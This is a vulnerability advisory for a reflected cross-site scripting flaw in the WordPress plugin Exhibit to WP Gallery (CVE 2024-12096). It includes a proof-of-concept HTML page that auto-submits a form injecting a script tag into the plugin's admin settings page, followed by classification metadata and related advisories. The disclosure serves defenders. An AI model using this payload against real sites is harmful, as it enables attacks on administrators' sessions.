Exhibit to WP Gallery <= 0.0.2 – Reflected XSS | CVE 2024-12096 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Proof of Concept

Have an admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=exhibit-to-wp-gallery%2Fexhibit-to-wp-gallery.php" method="post">
        <input type="hidden" name="beginfromid" value='hacked"><script>alert(1232)</script>' />
        <input type="submit" value="Send"/>
    </form>
</body>
```

Affects Plugins

exhibit-to-wp-gallery

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

Verified

Yes

WPVDB ID

aff431fa-d984-40de-8a15-21f18db97859

Timeline

Publicly Published

2024-12-03 (about 1 year ago)

Added

2024-12-03 (about 1 year ago)

Last Updated

2024-12-03 (about 1 year ago)

Other

Published

Title

Published

2024-02-20

Title

Scalable Vector Graphics (SVG) <= 3.4 - Author+ Stored XSS via SVG

Published

2025-03-28

Title

Dropdown Multisite selector < 0.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-03-18

Title

Ads24 Lite <= 1.0 - Reflected Cross-Site Scripting

Published

2024-12-14

Title

Utech World Time <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-03-22

Title

WP VR < 8.2.9 - Reflected XSS